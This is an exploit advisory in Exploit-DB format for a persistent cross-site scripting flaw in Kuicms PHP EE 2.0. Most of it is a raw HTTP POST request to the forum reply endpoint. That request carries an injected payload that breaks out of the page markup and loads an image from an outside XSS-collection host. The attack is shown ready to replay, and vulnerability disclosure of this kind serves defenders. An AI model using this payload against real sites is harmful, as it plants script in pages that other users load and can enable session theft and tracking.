Kuicms PHP EE 2.0 Cross Site Scripting

`# Exploit Title: Kuicms Php EE 2.0 - Persistent Cross-Site Scripting  
# Date: 2020-05-27  
# Exploit Author: China Banking and Insurance Information Technology Management Co.,Ltd.  
# Vendor Homepage: https://kuicms.com  
# Software Link: https://kuicms.com/kuicms.zip  
# Version: Kuicms Php EE 2.0  
# Tested on: Windows  
# CVE : N/A  
  
Vulnerable Request:  
POST /web/?c=bbs&a=reply&id=1 HTTP/1.1  
Host: 172.16.166.137  
Content-Length: 56  
Accept: application/json, text/javascript, */*; q=0.01  
X-Requested-With: XMLHttpRequest  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
Origin: http://172.16.166.137  
Referer: http://172.16.166.137/web/?m=bbsshow&id=1  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9  
Cookie: PHPSESSID=vpj3jduhoqlfieqhcnlilck2s6  
Connection: close  
  
content=</div>test<img src=//xsshs.cn/8jhh/xss.jpg><div>  
`